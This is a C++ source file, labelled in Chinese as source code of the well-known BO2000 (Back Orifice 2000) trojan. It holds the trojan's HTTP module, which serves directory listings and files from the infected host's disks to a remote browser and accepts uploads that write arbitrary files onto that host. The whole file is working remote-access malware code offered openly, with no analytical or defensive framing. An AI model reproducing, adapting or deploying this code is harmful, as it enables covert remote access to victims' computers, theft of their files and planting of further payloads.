cmd_tcpip_http.cpp

VC++著名的B02000木马的源代码 使用VC开发

			DWORD dwDirCount;
			DWORD dwFileCount;
			
			dwFileCount=0;
			dwBytesTotal=0;
			dwDirCount=0;

			for(i=0;i<nFileCount;i++) {
				SYSTEMTIME sysTime;
				GIFICON icon;
					
				FileTimeToSystemTime(&(pFileArray[i].ftLastWriteTime),&sysTime);
				if(pFileArray[i].dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
					icon=FOLDER;
					wsprintf(svBuffer,"%2.2u-%2.2u-%4.4u  %2.2u:%2.2u        &lt;DIR&gt;  <img src=/?image=%u align=absbottom border=0><a href=\"%s/\">%-.64s\\</a>\r\n",
						sysTime.wMonth,sysTime.wDay,sysTime.wYear,
						sysTime.wHour,sysTime.wMinute,
						icon,
						pFileArray[i].cFileName,
						pFileArray[i].cFileName);
					send(s,svBuffer,lstrlen(svBuffer),0);
					dwDirCount++;
				} else {
					icon=GetFileIcon(pFileArray[i].cFileName);
					wsprintf(svBuffer,"%2.2u-%2.2u-%4.4u  %2.2u:%2.2u  %11u  <img src=/?image=%u align=absbottom border=0><a href=\"%s\">%-.64s</a>\r\n",
						sysTime.wMonth,sysTime.wDay,sysTime.wYear,
						sysTime.wHour,sysTime.wMinute,
						pFileArray[i].nFileSizeLow,
						icon,
						pFileArray[i].cFileName,
						pFileArray[i].cFileName);
					send(s,svBuffer,lstrlen(svBuffer),0);
					dwBytesTotal+=pFileArray[i].nFileSizeLow;
					dwFileCount++;
				}				
			}
			free(pFileArray);
			
			// Report byte count

			wsprintf(svBuffer, "</pre><tt>%u Bytes, %u Files, %u Folders</tt><P>", dwBytesTotal,dwFileCount,dwDirCount);
			send(s, svBuffer, lstrlen(svBuffer), 0);
									
			// Issue HTTP Upload form
			wsprintf(svBuffer, "<FORM ENCTYPE=\"multipart/form-data\" ACTION= \"?upload\" METHOD=\"POST\"><P><INPUT TYPE=\"SUBMIT\" VALUE=\"Upload File:\"> <INPUT TYPE=\"file\" NAME=\"filename\"></FORM>");
			send(s, svBuffer, lstrlen(svBuffer), 0);

			// Issue HTML footers
			wsprintf(svBuffer,"</pre></ul>\r\n</body>\r\n</html>\r\n");
			send(s,svBuffer,lstrlen(svBuffer),0);

		} else {
			
			// ---- File ---- 

			// Get Mime Type
			char *svMime;
			svMime=GetMimeType(svFullPath);
		
			// Open File
			HANDLE hFile;
			hFile=CreateFile(svFullPath,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_FLAG_SEQUENTIAL_SCAN,NULL);
			if(hFile==INVALID_HANDLE_VALUE) {
				FormatHttpHeader(svBuffer,404,typehtml,"");
				send(s,svBuffer,lstrlen(svBuffer),0);
				return;
			}

			// Allocate copy buffer
			char *pBuffer;
			pBuffer=(char *)malloc(1024);
			if(pBuffer==NULL) {
				FormatHttpHeader(svBuffer,500,typehtml,"");
				send(s,svBuffer,lstrlen(svBuffer),0);
				return;
			}
			
			// Issue headers
			char svTimeBuf[256];
			char svHeadBuf[512];
			SYSTEMTIME sysTime;
			GetSystemTime(&sysTime);
			FormatTime(svTimeBuf, sysTime);
			int nLength;
			nLength=GetFileSize(hFile,NULL);
            wsprintf(svHeadBuf, "Last-modified: %s\r\nContent-length: %d\r\nAccept-ranges: bytes\r\nConnection: keep-alive\r\n", svTimeBuf, nLength);
            FormatHttpHeader(svBuffer,200,svMime,svHeadBuf);
			send(s,svBuffer,lstrlen(svBuffer),0);
			                    
			// Send file
			DWORD dwBytes,dwCount;
			dwCount=0;
			do {
				if(ReadFile(hFile,pBuffer,1024,&dwBytes,NULL)) {
					if(dwBytes!=0) {
						send(s,pBuffer,dwBytes,0);
						dwCount+=dwBytes;
					}
				}
				else break;
			} while(dwBytes!=0);

			// Clean up
			free(pBuffer);
			CloseHandle(hFile);
		}
	}
}

extern unsigned int pGifFILE_LEN;
extern unsigned char pGifFILE_DATA[];
extern unsigned int pGifFOLDER_LEN;
extern unsigned char pGifFOLDER_DATA[];
extern unsigned int pGifEXE_LEN;
extern unsigned char pGifEXE_DATA[];
extern unsigned int pGifIMAGE_LEN;
extern unsigned char pGifIMAGE_DATA[];
extern unsigned int pGifHTML_LEN;
extern unsigned char pGifHTML_DATA[];
extern unsigned int pGifTEXT_LEN;
extern unsigned char pGifTEXT_DATA[];
extern unsigned int pGifDRIVE_LEN;
extern unsigned char pGifDRIVE_DATA[];
extern unsigned int pGifREMOTE_LEN;
extern unsigned char pGifREMOTE_DATA[];
extern unsigned int pGifCDROM_LEN;
extern unsigned char pGifCDROM_DATA[];
extern unsigned int pGifCOMPUTER_LEN;
extern unsigned char pGifCOMPUTER_DATA[];
extern unsigned int pGifENTIRENETWORK_LEN;
extern unsigned char pGifENTIRENETWORK_DATA[];
extern unsigned int pGifNETWORK_LEN;
extern unsigned char pGifNETWORK_DATA[];
extern unsigned int pGifDOMAIN_LEN;
extern unsigned char pGifDOMAIN_DATA[];
extern unsigned int pGifSERVER_LEN;
extern unsigned char pGifSERVER_DATA[];
extern unsigned int pGifPRINTER_LEN;
extern unsigned char pGifPRINTER_DATA[];


void HTTPHandleImage(SOCKET s, char *svReqType, GIFICON nImage, int nHTTPVersion)
{
	char svBuffer[512];
	
	// Send a gif
	FormatHttpHeader(svBuffer,200,typegif,"");
	send(s,svBuffer,lstrlen(svBuffer),0);

	switch(nImage) {
	case FOLDER:
		send(s,(char *)pGifFOLDER_DATA,pGifFOLDER_LEN,0);
		break;
	case FILE:
		send(s,(char *)pGifFILE_DATA,pGifFILE_LEN,0);
		break;
	case EXE:
		send(s,(char *)pGifEXE_DATA,pGifEXE_LEN,0);
		break;
	case IMAGE:
		send(s,(char *)pGifIMAGE_DATA,pGifIMAGE_LEN,0);
		break;
	case HTML:
		send(s,(char *)pGifHTML_DATA,pGifHTML_LEN,0);
		break;
	case TEXT:
		send(s,(char *)pGifTEXT_DATA,pGifTEXT_LEN,0);
		break;
	case COMPUTER:
		send(s,(char *)pGifCOMPUTER_DATA,pGifCOMPUTER_LEN,0);
		break;
	case DRIVE:
		send(s,(char *)pGifDRIVE_DATA,pGifDRIVE_LEN,0);
		break;
	case CDROM:
		send(s,(char *)pGifCDROM_DATA,pGifCDROM_LEN,0);
		break;
	case REMOTE:
		send(s,(char *)pGifREMOTE_DATA,pGifREMOTE_LEN,0);
		break;
	
	case ENTIRENETWORK:
		send(s,(char *)pGifENTIRENETWORK_DATA,pGifENTIRENETWORK_LEN,0);
		break;
	case NETWORK:
		send(s,(char *)pGifNETWORK_DATA,pGifNETWORK_LEN,0);
		break;
	case DOMAIN:
		send(s,(char *)pGifDOMAIN_DATA,pGifDOMAIN_LEN,0);
		break;
	case SERVER:
		send(s,(char *)pGifSERVER_DATA,pGifSERVER_LEN,0);
		break;
	case PRINTER:
		send(s,(char *)pGifPRINTER_DATA,pGifPRINTER_LEN,0);
		break;
	
	default:
		return;
	}

	return;
}	


DWORD WINAPI PortHTTPThread(LPVOID lpParameter)
{
	PORT_CHILD_PARAM *ppcp=(PORT_CHILD_PARAM *) lpParameter;

	// Send Keep-Alives (browser usually wants them) and set blocking mode
	BOOL bKeepAlive=TRUE;
	setsockopt(ppcp->s,SOL_SOCKET,SO_KEEPALIVE,(char *)&bKeepAlive,sizeof(BOOL));
	DWORD dwNonBlock=FALSE;
	ioctlsocket(ppcp->s,FIONBIO,&dwNonBlock);

	// Read in the HTTP request
	DWORD dwLen;
	char *svBuffer;
	do {
		Sleep(20);
		ioctlsocket(ppcp->s,FIONREAD,&dwLen);
	} while(dwLen==0);

	svBuffer=(char *) malloc(dwLen+1);
	if(svBuffer==NULL) {
		closesocket(ppcp->s);
		free(ppcp);
		return 1;
	}
	if(recv(ppcp->s,svBuffer,dwLen,0) <= 0) return -1;
	svBuffer[dwLen]='\0';

	// Determine request type
	char *svNext,*svReqType;
	svReqType=svBuffer;
	svNext=BreakString(svReqType," ");
	if(svNext==NULL) {
		free(svBuffer);
		closesocket(ppcp->s);
		free(ppcp);
		return 1;
	}

	// Retrieve path
	char *svPath;
	svPath=svNext;
	svNext=BreakString(svPath,"\r\n");
	if(svNext==NULL) {
		free(svBuffer);
		closesocket(ppcp->s);
		free(ppcp);
		return 1;
	}
	
	// Strip off and retrieve HTTP type
	int len,i;
	int nHTTPVersion;
	len=lstrlen(svPath);
	for(i=len-1;i>=0;i--) {
		if(lstrcmp(svPath+i," HTTP/1.0")==0) { nHTTPVersion=10; break; }
		if(lstrcmp(svPath+i," HTTP/0.9")==0) { nHTTPVersion=9; break; }
		if(lstrcmp(svPath+i," HTTP/1.1")==0) { nHTTPVersion=11; break; }
	}
	if(i==0) {
		free(svBuffer);
		closesocket(ppcp->s);
		free(ppcp);
		return 1;
	}
	svPath[i]='\0';
	
	// Strip off file option string
	char *svOptions;
	svOptions=BreakString(svPath,"?");
	
	// Strip trailing [back]slash from root pathname
	char svDiskPath[MAX_PATH+1];
	int nDPLen;
	lstrcpyn(svDiskPath,ppcp->svArg2,MAX_PATH+1);
	nDPLen=lstrlen(svDiskPath);
	if(svDiskPath[nDPLen-1]=='/' || svDiskPath[nDPLen-1]=='\\') {
		svDiskPath[nDPLen-1]='\0';
		nDPLen--;
	}
	
	// Get target disk path filename
	lstrcpyn(svDiskPath+nDPLen,svPath,(MAX_PATH+1)-nDPLen);
	nDPLen=lstrlen(svDiskPath);
	
	// Convert everything to backslashes
	for(i=0;i<nDPLen;i++) {
		if(svDiskPath[i]=='/') svDiskPath[i]='\\';
	}
	
	// Convert "%" values
	for(i=0;i<(nDPLen-2);i++) {
		if(svDiskPath[i]=='%') {
			if(strncmp(svDiskPath+i,"%DRIVE%",7)==0) {
				lstrcpy(svDiskPath,svDiskPath+i+7);
				nDPLen-=(i+7);
				i=0;
			}
			else if(strncmp(svDiskPath+i,"%NETHOOD%",9)==0) {
				lstrcpy(svDiskPath+i,svDiskPath+i+9);
				nDPLen-=9;
			} else {
				char d,c;
				d=svDiskPath[i+1];
				if(d>='A' && d<='F') c=(d-'A')<<4;
				if(d>='a' && d<='f') c=(d-'a')<<4;
				if(d>='0' && d<='9') c=(d-'0')<<4;
				d=svDiskPath[i+2];
				if(d>='A' && d<='F') c|=d-'A';
				if(d>='a' && d<='f') c|=d-'a';
				if(d>='0' && d<='9') c|=d-'0';
				
				lstrcpy(svDiskPath+i+1,svDiskPath+i+3);
				
				svDiskPath[i]=c;
				nDPLen-=2;
			}
		}
	}
	
	// Get Full Path in proper format
	DWORD nFullPathLen;
	char svFullPath[MAX_PATH+1], *svFilePart,*svKnownPath;
	
	
	// Get rid of double slashes if we're not at the root
	if(ppcp->svArg2[0]!=0) {
		nFullPathLen=GetFullPathName(svDiskPath,MAX_PATH+1,svFullPath,&svFilePart);
		if(BreakString(svFullPath,"\\\\")!=NULL) {
			free(svFullPath);
			free(svBuffer);
			closesocket(ppcp->s);
			free(ppcp);
			return 1;
		}
	} else {
		lstrcpyn(svFullPath,svDiskPath,MAX_PATH+1);
	}

	
	// Verify root
	DWORD nRootPathLen;
	nRootPathLen=lstrlen(ppcp->svArg2);
	if(nRootPathLen>nFullPathLen) {
		free(svFullPath);
		free(svBuffer);
		closesocket(ppcp->s);
		free(ppcp);
		return 1;
	}
	if(CompareString(LOCALE_SYSTEM_DEFAULT,NORM_IGNORECASE,ppcp->svArg2,nRootPathLen,svFullPath,nRootPathLen)!=CSTR_EQUAL) {
		free(svFullPath);
		free(svBuffer);
		closesocket(ppcp->s);
		free(ppcp);
		return 1;
	}
	svKnownPath=svFullPath+nRootPathLen;
	

	if(lstrcmpi(svReqType,"GET")==0) {
		// GET request		
		
		
		// Serve up appropriate file
		
		if(svOptions==NULL) {
			HTTPHandleFile(ppcp->s,svReqType,svFullPath,svKnownPath,nHTTPVersion);	
		} else {
			char svImage[7];
			lstrcpyn(svImage,svOptions,7);
			if(lstrcmpi(svImage,"image=")==0) {
				HTTPHandleImage(ppcp->s,svReqType,(GIFICON)atoi(svOptions+6),nHTTPVersion);
			}
		}
		
		// Exit cleanly
		//if(svFullPath) free(svFullPath);
	}
	else if(lstrcmpi(svReqType,"POST")==0) {
		// POST request
		
		// Get boundary separator
		char *svBoundary;
		svBoundary=BreakString(svNext,"boundary=");
		svNext=BreakString(svBoundary,"\r\n");
		
		// Get content length
		char *svContentLen;
		int nContentLen;
		svContentLen=BreakString(svNext,"Content-Length: ");
		svNext=BreakString(svContentLen,"\r\n");
		nContentLen=atoi(svContentLen);

		// Get start of form data
		char *svForm;
		svForm=BreakString(svNext,svBoundary);
		
		// Get upload file name
		char *svUploadName, *ptr;
		svUploadName=BreakString(svForm,"filename=\"");
		svNext=BreakString(svUploadName,"\"");
		if((ptr=strrchr(svUploadName,'\\'))!=NULL) {
			svUploadName=(ptr+1);
		}

		// Get Start of data
		char *pStartData;
		pStartData=BreakString(svNext,"\r\n\r\n");
		
		// Create file pathname
		HANDLE hFile;
		char svFilePath[MAX_PATH+1];
		lstrcpyn(svFilePath,svFullPath,MAX_PATH+1);
		lstrcpyn(svFilePath+lstrlen(svFilePath),svUploadName,(MAX_PATH+1)-lstrlen(svFilePath));

		// Open file
		hFile=CreateFile(svFilePath,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
		if(hFile!=INVALID_HANDLE_VALUE) {
			// Write what we have to the file
			DWORD dwFileLen;
			dwFileLen=nContentLen-((DWORD)pStartData-(DWORD)svForm)-((lstrlen(svBoundary)+2)*2)-6;
			
			DWORD dwCount,dwBytes;
			dwCount=dwLen-(((DWORD)pStartData)-((DWORD)svBuffer));
			if(dwCount>dwFileLen) dwCount=dwFileLen;

			WriteFile(hFile,pStartData,dwCount,&dwBytes,NULL);
			
			// Loop reading in the rest
			char *pInBuf=(char *)malloc(1024);
			if(pInBuf!=NULL) {
				int nBytes;
				dwBytes=dwFileLen-dwCount;
				while(dwBytes>0) {
					nBytes=recv(ppcp->s,pInBuf,1024,0);
					if(nBytes<=0) break;
					if(nBytes>(int)dwBytes) nBytes=dwBytes;

					WriteFile(hFile,pInBuf,nBytes,&dwCount,NULL);

					dwBytes-=dwCount;
				}
				
				FormatHttpHeader(svBuffer, 201, typehtml, "\r\n");
				send(ppcp->s, svBuffer, lstrlen(svBuffer), 0);
				wsprintf(svBuffer, "<html>\r\n<head>\r\n<title>File received</title>\r\n</head>\r\n"
					"<body bgcolor=#FFFFFF text=#000000>\r\n<h1>File successfully uploaded</h1>\r\n</body>\r\n</html>\r\n");
				send(ppcp->s, svBuffer, lstrlen(svBuffer), 0);
				
				free(pInBuf);
			}

			CloseHandle(hFile);
		}
		
	
	} 

	free(svBuffer);
	closesocket(ppcp->s);
	free(ppcp);
	return 0;
}